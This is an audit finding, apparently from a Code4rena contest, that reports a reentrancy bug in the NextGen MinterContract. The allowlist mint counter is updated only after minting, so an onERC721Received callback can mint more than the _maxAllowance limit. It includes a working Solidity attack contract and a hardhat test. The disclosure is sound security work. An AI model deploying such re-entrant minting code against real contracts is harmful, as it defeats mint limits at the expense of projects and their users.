NextGen - Beosin's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/NextGenCore.sol#L191 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/NextGenCore.sol#L195

Vulnerability details

Impact

In the MinterContract contract, the mint function uses the _maxAllowance parameter to enforce a limit on the maximum mintId and performs verification using MerkleProof. However, we have identified an issue where retrieveTokensMintedALPerAddress(tokensMintedAllowlistAddress) is incremented after the minting process, while mintIndex(collectionCirculationSupply) is incremented before minting. If an attacker utilizes the onERC721Received interface for callback reentrancy, it can result in a problem where the mintIndex is increased without a corresponding increase in retrieveTokensMintedALPerAddress. This issue can render the maximum mintId limit imposed by the _maxAllowance parameter ineffective.

Proof of Concept

Attack contract example:

contract attack {
    IMinterContract public MinterContract;

    constructor(address _minter) {
        MinterContract = IMinterContract(_minter);
    }
    bytes4 aa = 0x150b7a02;
    bool public flag;

    function onERC721Received(address operator, address from, uint256 tokenId,  bytes calldata data) external returns (bytes4){
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        if(flag == false){
            flag = true;
            bytes32[] memory proof = new bytes32[](1);
            proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
            MinterContract.mint(1, 1, 0, "123", address(this), proof, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,  2);
        }
        return aa;
    }

    function main() public {
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        MinterContract.mint(1, 1, 0, "123", address(this), proof, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,  2);
    }
}

hardhat code:

    it("#mintNFTCol1", async function () {

      await contracts.attack.main()

      const balance = await contracts.hhCore.balanceOf(contracts.attack.getAddress())
      expect(parseInt(balance)).to.equal(2); // if other fails

    })

Tools Used

hardhat

Recommended Mitigation Steps

It is recommended to place the minting function after data processing.

Assessed type

Reentrancy